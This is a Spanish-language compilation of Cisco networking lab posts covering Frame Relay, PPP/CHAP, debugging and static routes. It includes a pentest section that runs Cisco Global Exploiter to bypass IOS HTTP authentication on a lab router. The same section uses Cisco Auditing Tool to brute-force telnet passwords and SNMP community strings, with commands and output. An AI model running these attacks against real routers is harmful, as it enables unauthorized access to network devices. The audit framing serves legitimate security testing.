  Queueing strategy: weighted fair
  Output queue: 0/1000/64/0 (size/max total/threshold/drops)
     Conversations  0/1/256 (active/max active/max total)
     Reserved Conversations 0/0 (allocated/max allocated)
     Available Bandwidth 1158 kilobits/sec
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     85 packets input, 1618 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     114 packets output, 1671 bytes, 0 underruns
     0 output errors, 0 collisions, 1 interface resets
     0 output buffer failures, 0 output buffers swapped out
     1 carrier transitions     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up
Encapsulacion Frame Relay en la Interface Serial.

Verificamos la conectividad dando un ping a cada router.
R1#ping 192.168.123.2

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.123.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 28/142/332 ms
R1#ping 192.168.123.3

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.123.3, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 56/120/192 ms
R1#ping 192.168.123.4

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.123.4, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 64/127/240 ms


Este video muestra como configurar un Servidor DHCP en un Router Cisco. El laboratorio se realizo con el simulador GNS3, con una topologia basica utilizando un router como cliente y otro con el modulo NM-16ESW, una interface loopback y qemu host.

Vídeo Configuración del Servidor DHCP en un Router Cisco.
Video Online:
http://www.youtube.com/watch?v=wNa95REmJxc

Cisco Global Exploiter

Cisco Global Exploiter (CGE) es un pequeño script hecho en Perl que combina 14 vulnerabilidades individuales que pueden ser contrastadas con los dispositivos Cisco. Es importante señalar que estas vulnerabilidades representan a sólo un conjunto específico de los equipos Cisco y esta pequeña herramienta no está completamente diseñada para realizar una evaluación de todas las necesidades de seguridad de estos equipos.

Para abrir Cisco Global Exploiter lo podemos hacer desde la terminal.

cd /pentest/cisco/cisco-global-exploiter/
./cge.pl

Usage :
perl cge.pl  

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
root@delfi:/pentest/cisco/cisco-global-exploiter#
Opciones Cisco Global Exploiter.

En la imagen anterior se muestran las opciones y las instrucciones de uso de esta mini herramienta, también muestra una lista de 14 vulnerabilidades en un orden definido. De la lista de vulnerabilidades tomaremos un ejemplo para realizar una prueba contra un equipos cisco modelo 2600, así que lanzamos la prueba desde consola con el siguiente comando.

root@delfi:/pentest/cisco/cisco-global-exploiter# ./cge.pl 192.168.1.75 3
Vulnerability unsuccessful exploited ...

Vulnerability successful exploited with [http://192.168.1.75/level/18/exec/....]

Vulnerability Successful Exploited.

En este caso, la prueba se ha realizado utilizando la opción [3] - Cisco IOS HTTP Auth Vulnerability y como podemos ver la vulnerabilidad ha sido explotada con éxito.

Acceso al Router 2600 de nombre R2_WAN.

Ahora desde el explorador podemos ejecutar comandos del router sin ningún tipo de autenticación.

Password Brute Force con Cisco Auditing Tool

Cisco Auditing Tool (CAT) es una mini herramienta de auditoría de seguridad. Analiza las vulnerabilidades mas comunes de los routers Cisco, como las contraseñas por defecto, las cadenas de comunidad SNMP y algunos de los antiguos errores del IOS. Incluye tambien soporte para demás plugins y el escaneo de múltiples hosts.

En BackTrack para iniciar la herramienta Cisco Auditing Tool nos vamos al menú Aplications - BackTrack - Vulnerability Assessment - Network Assessment - Cisco Tools. Una vez que la ventana de la consola se haya cargado correctamente, podremos mirar todas las opciones posibles que podemos utilizar en contra del nuestro objetivo.

Cisco Auditing Tool en BackTrack.

En caso de que decidamos utilizar la herramienta directamente desde la terminal, lo podemos realzar de la siguiente manera.

cd /pentest/cisco/cisco-auditing-tool/
./CAT --help

Y lo anterior nos mostrara lo siguiente.
./CAT version [unknown] calling Getopt::Std::getopts (version 1.06 [paranoid]),
running under Perl version 5.10.1.

Usage: CAT [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

The following single-character options are accepted:
With arguments: -h -f -p -w -a -l
Boolean (without arguments): -i -q

Options may be merged together.  -- stops processing of options.
Space is not required between options and their arguments.
[Now continuing due to backward compatibility and excessive paranoia.
See ``perldoc Getopt::Std'' about $Getopt::Std::STANDARD_HELP_VERSION.]

Cisco Auditing Tool - g0ne [null0]
Usage:
-h hostname (for scanning single hosts)
-f hostfile (for scanning multiple hosts)
-p port # (default port is 23)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)
-i [ioshist] (Check for IOS History bug)
-l logfile (file to log to, default screen)
-q quiet mode (no screen output)

root@delfi:/pentest/cisco/cisco-auditing-tool#
Cisco Auditing Tool.

Estas son las opciones y descripciones sobre el uso de CAT. Vamos a ejecutar las siguientes opciones en contra de nuestro objetivo, un dispositivo Cisco (2600).

-h hostname (for scanning single hosts)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)

Esta combinación de fuerza bruta y escaneo del dispositivo cisco es para averiguar cualquier contraseña conocida y los nombres de las comunidades SNMP. Antes de realizar la prueba, tenemos que actualizar también la lista de las contraseñas y community strings de SNMP en la ruta pentest/cisco/cisco-auditing-tool/lists con el fin de obtener una mayor probabilidad de éxito. Bueno vamos a realizarlo de la siguiente manera.

./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1

root@delfi:/pentest/cisco/cisco-auditing-tool# ./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1
Unknown option: 1

Cisco Auditing Tool - g0ne [null0]

Checking Host: 192.168.1.102

Guessing passwords:

Invalid Password: list
Invalid Password: cisco1
Invalid Password: cisco
Invalid Password: passwordvty
Password Found: p4sswordvty
Invalid Password: ciscos
Invalid Password: public
Invalid Password: private
Invalid Password: admin
Invalid Password: cisco_comu
Invalid Password: cisco1
Invalid Password: cisco2
Invalid Password: router
Invalid Password: routercisco
Invalid Password: secret
Invalid Password: Cisco
Invalid Password: telnet
Invalid Password: 123456
Invalid Password: default
Invalid Password: nicolay
Invalid Password: router1
Invalid Password:

Guessing Community Names:

Invalid Community Name: list
Community Name Found: public
Community Name Found: private
Invalid Community Name: cisco
Invalid Community Name: cisco1
Community Name Found: ciscos
Invalid Community Name: default
Invalid Community Name: Cisco
Community Name Found: cisco_comu
Invalid Community Name: adm

---------------------------------------------------
Audit Complete
Salida de Cisco Auditing Tool.

Para obtener mejores resultados lo recomendable es editar los archivos que se encuentran en la ruta pentest/cisco/cisco-auditing-tool/lists podemos utilizar cualquier editor de texto o el editor Vim para agregar mas palabras a los archivos y así obtener unos mejores resultados de salida.

Configuración de PPP y CHAP

En este post veremos como configurar PPP (Point-to-Point Protocol) y CHAP (Challenge Handshake Authentication Protocol), en primer lugar debemos de comprender que tipo de conexión estamos haciendo. Un diagrama de red nos podría ayudar, tal como se muestra en la siguiente imagen donde se muestra una conexión básica de PPP y CHAP.

Configuración de PPP y CHAP en el Router2
Router#configure terminal
Router(config)#hostname Router1
Router1(config)#username Router2 password cisco
Router1(config)#interface serial1/0
Router1(config-if)#clockrate 64000
Router1(config-if)#ip address 192.168.1.130 255.255.255.252
Router1(config-if)#encapsulation ppp
Router1(config-if)#ppp authentication chap
Router1(config-if)#no shut
Router1(config-if)#end
Router1#ping 192.168.1.129

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.1.129, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 12/72/156 ms
Configuración de PPP y CHAP en el Router2
Router#configure terminal
Router(config)#hostname Router2
Router2(config)#username Router1 password cisco
Router2(config)#interface serial1/0
Router2(config-if)#ip address 192.168.1.129 255.255.255.252
Router2(config-if)#encapsulation ppp
Router2(config-if)#ppp authentication chap
Router2(config-if)#no shut
Router2(config-if)#end
Router2#ping 192.168.1.130

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.1.130, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 12/46/92 ms

Troubleshooting PPP y CHAP

Ahora que tenemos configurado PPP + CHAP, verificaremos la configuración de PPP en las interfaces configurada con el comando show interface, como se muestra a continuación.

Verificacion de la interface serial1/0 en el Router1
Router1#show interface serial1/0
Serial1/0 is up, line protocol is up
Hardware is M4T
Internet address is 192.168.1.130/30
MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, LCP Open
Open: IPCP, CDPCP, crc 16, loopback not set
Keepalive set (10 sec)
Restart-Delay is 0 secs
Last input 00:00:25, output 00:00:00, output hang never
Last clearing of "show interface" counters 00:04:19
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: weighted fair
Output queue: 0/1000/64/0 (size/max total/threshold/drops)
Conversations  0/1/256 (active/max active/max total)
Reserved Conversations 0/0 (allocated/max allocated)
Available Bandwidth 1158 kilobits/sec
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
31 packets input, 1988 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
33 packets output, 1419 bytes, 0 underruns
0 output errors, 0 collisions, 1 interface resets
0 output buffer failures, 0 output buffers swapped out
1 carrier transitions     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up
Verificación de la interface serial1/0 en el Router2
Router2#show interface serial1/0
Serial1/0 is up, line protocol is up
Hardware is M4T
Internet address is 192.168.1.129/30
MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, LCP Open
Open: IPCP, CDPCP, crc 16, loopback not set
Keepalive set (10 sec)
Restart-Delay is 0 secs
Last input 00:00:07, output 00:00:00, output hang never
Last clearing of "show interface" counters 00:03:09
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: weighted fair
Output queue: 0/1000/64/0 (size/max total/threshold/drops)
Conversations  0/1/256 (active/max active/max total)
Reserved Conversations 0/0 (allocated/max allocated)
Available Bandwidth 1158 kilobits/sec
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
34 packets input, 1727 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
35 packets output, 2052 bytes, 0 underruns
0 output errors, 0 collisions, 1 interface resets
0 output buffer failures, 0 output buffers swapped out
1 carrier transitions     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up

Comandos debug de PPP

Estos comandos nos puedes ser utilices para mostrar el proceso de PPP en las interfaces. También sirven de gran ayuda para administrar la red y así resolver problemas de enlace. Los comandos mas útiles son los siguientes.

Debugging PPP Authentication

El comando debug ppp authentication nos mostrara el proceso de autenticación de CHAP. Si la encapsulacion PPP y la autención estan configurados correctamente en los routers, asi como los nombres de usuario con sus respectivas contraseñas, se mostrara en la salida algo similar a lo siguiente.
Router1#debug ppp authentication
PPP authentication debugging is on
Router1#
*Mar  1 00:16:42.699: Se1/0 PPP: Authorization required
*Mar  1 00:16:42.707: Se1/0 CHAP: O CHALLENGE id 3 len 28 from "Router1"
*Mar  1 00:16:42.707: Se1/0 CHAP: I CHALLENGE id 3 len 28 from "Router2"
*Mar  1 00:16:42.711: Se1/0 CHAP: I RESPONSE id 3 len 28 from "Router2"
*Mar  1 00:16:42.723: Se1/0 PPP: Sent CHAP LOGIN Request
*Mar  1 00:16:42.723: Se1/0 CHAP: Using hostname from unknown source
*Mar  1 00:16:42.727: Se1/0 CHAP: Using password from AAA
*Mar  1 00:16:42.727: Se1/0 CHAP: O RESPONSE id 3 len 28 from "Router1"
*Mar  1 00:16:42.731: Se1/0 PPP: Received LOGIN Response PASS
*Mar  1 00:16:42.735: Se1/0 PPP: Sent LCP AUTHOR Request
*Mar  1 00:16:42.739: Se1/0 PPP: Sent IPCP AUTHOR Request
*Mar  1 00:16:42.743: Se1/0 LCP: Received AAA AUTHOR Response PASS
*Mar  1 00:16:42.747: Se1/0 IPCP: Received AAA AUTHOR Response PASS
*Mar  1 00:16:42.747: Se1/0 CHAP: O SUCCESS id 3 len 4
*Mar  1 00:16:42.935: Se1/0 CHAP: I SUCCESS id 3 len 4
*Mar  1 00:16:42.939: Se1/0 PPP: Sent CDPCP AUTHOR Request
*Mar  1 00:16:42.943: Se1/0 PPP: Sent IPCP AUTHOR Request
*Mar  1 00:16:42.955: Se1/0 CDPCP: Received AAA AUTHOR Response PASS
Router1#
Debug PPP Negotiation

Este comando nos muestra los procesos de negociacion de PPP, aqui un ejemplo.
Router1#debug ppp negotiation
PPP protocol negotiation debugging is on
Router1#
*Mar  1 00:20:47.199: Se1/0 LCP: I CONFREQ [Open] id 5 len 15
*Mar  1 00:20:47.199: Se1/0 LCP:    AuthProto CHAP (0x0305C22305)
*Mar  1 00:20:47.199: Se1/0 LCP:    MagicNumber 0x011C567B (0x0506011C567B)
*Mar  1 00:20:47.203: Se1/0 CDPCP: State is Closed
*Mar  1 00:20:47.203: Se1/0 IPCP: State is Closed
*Mar  1 00:20:47.207: Se1/0 PPP: Phase is TERMINATING
*Mar  1 00:20:47.211: Se1/0 PPP: Phase is ESTABLISHING
*Mar  1 00:20:47.211: Se1/0 LCP: O CONFREQ [Open] id 8 len 15
*Mar  1 00:20:47.211: Se1/0 LCP:    AuthProto CHAP (0x0305C22305)
*Mar  1 00:20:47.215: Se1/0 LCP:    MagicNumber 0x001D100F (0x0506001D100F)
*Mar  1 00:20:47.215: Se1/0 LCP: O CONFACK [Open] id 5 len 15
*Mar  1 00:20:47.215: Se1/0 LCP:    AuthProto CHAP (0x0305C22305)
*Mar  1 00:20:47.215: Se1/0 LCP:    MagicNumber 0x011C567B (0x0506011C567B)
*Mar  1 00:20:47.219: Se1/0 IPCP: Remove route to 192.168.1.129
*Mar  1 00:20:47.223: Se1/0 LCP: I CONFACK [ACKsent] id 8 len 15
*Mar  1 00:20:47.227: Se1/0 LCP: AuthProto CHAP (0x0305C22305)
*Mar  1 00:20:47.227: Se1/0 LCP:  MagicNumber 0x001D100F (0x0506001D100F)
*Mar  1 00:20:47.227: Se1/0 LCP: State is Open
*Mar  1 00:20:47.227: Se1/0 PPP: Phase is AUTHENTICATING, by both
*Mar  1 00:20:47.231: Se1/0 CHAP: O CHALLENGE id 5 len 28 from "Router1"
*Mar  1 00:20:47.231: Se1/0 CHAP: I CHALLENGE id 5 len 28 from "Router2"
*Mar  1 00:20:47.235: Se1/0 CHAP: I RESPONSE id 5 len 28 from "Router2"
*Mar  1 00:20:47.235: Se1/0 PPP: Phase is FORWARDING, Attempting Forward
*Mar  1 00:20:47.243: Se1/0 PPP: Phase is AUTHENTICATING, Unauthenticated User
*Mar  1 00:20:47.247: Se1/0 CHAP: Using hostname from unknown source
*Mar  1 00:20:47.247: Se1/0 CHAP: Using password from AAA
*Mar  1 00:20:47.247: Se1/0 CHAP: O RESPONSE id 5 len 28 from "Router1"
*Mar  1 00:20:47.251: Se1/0 PPP: Phase is FORWARDING, Attempting Forward
*Mar  1 00:20:47.255: Se1/0 PPP: Phase is AUTHENTICATING, Authenticated User
*Mar  1 00:20:47.263: Se1/0 CHAP: O SUCCESS id 5 len 4
*Mar  1 00:20:47.455: Se1/0 CHAP: I SUCCESS id 5 len 4
*Mar  1 00:20:47.459: Se1/0 PPP: Phase is UP
*Mar  1 00:20:47.459: Se1/0 IPCP: O CONFREQ [Closed] id 1 len 10
*Mar  1 00:20:47.459: Se1/0 IPCP:    Address 192.168.1.130 (0x0306C0A80182)
*Mar  1 00:20:47.463: Se1/0 PPP: Process pending ncp packets
*Mar  1 00:20:47.463: Se1/0 IPCP: I CONFREQ [REQsent] id 1 len 10
*Mar  1 00:20:47.467: Se1/0 IPCP:    Address 192.168.1.129 (0x0306C0A80181)
*Mar  1 00:20:47.467: Se1/0 AAA/AUTHOR/IPCP: Start.  Her address 192.168.1.129, we want 0.0.0.0
*Mar  1 00:20:47.471: Se1/0 CDPCP: I CONFREQ [Closed] id 1 len 4
*Mar  1 00:20:47.479: Se1/0 AAA/AUTHOR/IPCP: Reject 192.168.1.129, using 0.0.0.0
*Mar  1 00:20:47.479: Se1/0 AAA/AUTHOR/IPCP: Done.  Her address 192.168.1.129, we want 0.0.0.0
*Mar  1 00:20:47.483: Se1/0 IPCP: O CONFACK [REQsent] id 1 len 10
*Mar  1 00:20:47.483: Se1/0 IPCP:    Address 192.168.1.129 (0x0306C0A80181)
*Mar  1 00:20:47.483: Se1/0 IPCP: I CONFACK [ACKsent] id 1 len 10
*Mar  1 00:20:47.483: Se1/0 IPCP:    Address 192.168.1.130 (0x0306C0A80182)
*Mar  1 00:20:47.487: Se1/0 IPCP: State is Open
*Mar  1 00:20:47.487: Se1/0 CDPCP: O CONFREQ [Closed] id 1 len 4
*Mar  1 00:20:47.499: Se1/0 IPCP: Install route to 192.168.1.129
*Mar  1 00:20:47.547: Se1/0 CDPCP: I CONFACK [REQsent] id 1 len 4
*Mar  1 00:20:49.463: Se1/0 CDPCP: Timeout: State ACKrcvd
*Mar  1 00:20:49.463: Se1/0 CDPCP: O CONFREQ [ACKrcvd] id 2 len 4
*Mar  1 00:20:49.503: Se1/0 CDPCP: I CONFACK [REQsent] id 2 len 4
*Mar  1 00:20:49.527: Se1/0 CDPCP: I CONFREQ [ACKrcvd] id 2 len 4
*Mar  1 00:20:49.527: Se1/0 CDPCP: O CONFACK [ACKrcvd] id 2 len 4
*Mar  1 00:20:49.527: Se1/0 CDPCP: State is Open
Los otros comandos utiles son los siguientes:
debug ppp packet
debug ppp error
debug ppp chap

Rutas Conectadas y Rutas Estáticas

Los Routers necesitan tener rutas en sus tablas de enrutamiento IP para poder enviar los paquetes a la direcciónes correctas. Dos formas por el cual un router agrega rutas en su tabla de enrutamiento es aprendiendo o se da cuenta que redes tiene conectadas en sus interfaces y otra forma es mediante la configuración de las rutas desde la configuración global. La siguiente imagen muestra una topologia básica para configurar rutas estáticas.

Topologia Básica de la Red.

En GNS3, la topologia de rede se vería mas o menos de la siguiente manera.

Topologia de Red en GNS3.

Rutas Conectadas.


Configuración de las interfaces en el Router1
!
interface FastEthernet0/0
ip address 10.1.128.251 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet0/1
ip address 10.1.130.251 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet1/0
ip address 10.1.1.251 255.255.255.0
duplex auto
speed auto
!
El comando siguiente muestras el estado de las interfaces en el Router1, como se puede ver las tres interfaces están en estado "up & up" y cada interface tiene configurado una dirección IP.
Router1#show ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            10.1.128.251    YES manual up                    up
FastEthernet0/1            10.1.130.251    YES manual up                    up
FastEthernet1/0            10.1.1.251      YES manual up                    up
Router1#
El siguiente comando nos muestra las rutas conocidas por el Router1, todas las rutas conectadas (C).
Router1#show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

10.0.0.0/24 is subnetted, 3 subnets
C       10.1.1.0 is directly connected, FastEthernet1/0
C       10.1.130.0 is directly connected, FastEthernet0/1
C       10.1.128.0 is directly connected, FastEthernet0/0
Router1#
El Router1 agrego las rutas de las tres subredes que se encuentran conectadas a su tabla de enrutamiento. La letra "C" significa "Conectado".

Rutas Estáticas

Las rutas conectadas son importantes, pero los routers suelen necesitar de otras rutas para enviar la información a todas las subredes de una red. Por ejemplo el Router1 puede fácilmente realizar un Ping a las subredes que tiene conectadas, por ejemplo a la subred conectada 10.1.1.0/24. Sin embargo si se realiza un Ping a la subred 10.1.2.0/24 no la conocerá y no podrá llegar a esa subred. Tal como se muestra a continuación.

Ping a la subred conectada, interface Fa0/0 del Router2.
Router1#ping 10.1.128.252

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.128.252, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 20/60/116 ms
Router1#
Ping a la Subred 10.1.2.0/24.
Router1#ping 10.1.2.252

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.2.252, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)
Router1#
El comando Ping envía un paquete de solicitud ICMP (echo request) a la dirección destino. El host destino responde al ping solicitado con un paquete llamada ICMP de respuesta o echo reply. El comando Ping envía el primer paquete y espera la respuesta. Si se recibe una respuesta, el comando muestra un "!". Si no se recibe una respuesta en el tiempo de espera predeterminado de 2 segundos, el comando ping nos muestra un ".". En el IOS de cisco, el comando Ping envía cinco de estos paquetes de forma predeterminada. En el ejemplo anterior el primer Ping dado a la IP 10.1.128.252 funciona correctamente, ya que nos muestra todos los "!!!!!". Sin embargo, el Ping dado a la dirección IP 10.1.2.252 no funciona, ya que nos muestra todo los ".....", esto es porque el Router1 no tiene una ruta para la subred 10.1.2.0/24 donde se encuentra la IP 10.1.2.252.

La solución mas sencilla y típica para este problema es configurar un protocolo de enrutamiento en los tres Routers. Sin embargo, en lugar de protocolos de enrutamientos, podemos configurar rutas estáticas. Para configurar rutas estáticas se realiza de la siguiente manera.

Configurando Rutas Estáticas en el Router1.
Router1#configure terminal
Router1(config)#ip route 10.1.2.0 255.255.255.0 10.1.128.252
Router1(config)#ip route 10.1.3.0 255.255.255.0 10.1.130.252
Router1(config)#^Z
Router1#
*Mar  1 00:11:14.279: %SYS-5-CONFIG_I: Configured from console by console
Router1#show ip route static
10.0.0.0/24 is subnetted, 5 subnets
S       10.1.3.0 [1/0] via 10.1.130.252
S       10.1.2.0 [1/0] via 10.1.128.252
Router1#
Desde configuración global le indicamos cual sera la subred con su respectiva mascara y la dirección IP del siguiente salto. Ahora el Router1 sabe como enviar las rutas a los demás Routers de la Red. También se muestra el comando show ip route static, con el podemos visualizar que rutas estáticas tenemos configuradas en el Router1. El Signo de "S" significa que la ruta fue configurada estaticamente.

Ping a las demás Subredes.
Router1#ping 10.1.2.252
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.2.252, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/56/132 ms

Router1#ping 10.1.3.253
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.3.253, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/44/136 ms
Router1#
Visualizar todas las rutas en el Router1.
Router1#show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

10.0.0.0/24 is subnetted, 5 subnets
S       10.1.3.0 [1/0] via 10.1.130.252
S       10.1.2.0 [1/0] via 10.1.128.252
C       10.1.1.0 is directly connected, FastEthernet1/0
C       10.1.130.0 is directly connected, FastEthernet0/1
C       10.1.128.0 is directly connected, FastEthernet0/0
Router1#
Como se puede observar tenemos comunicación con las subredes configuradas, esto solo desde el Router1. En los demás Routers se tiene que hacer el mismo proceso para configurar las rutas estáticas y así tener comunicación con las demás subredes.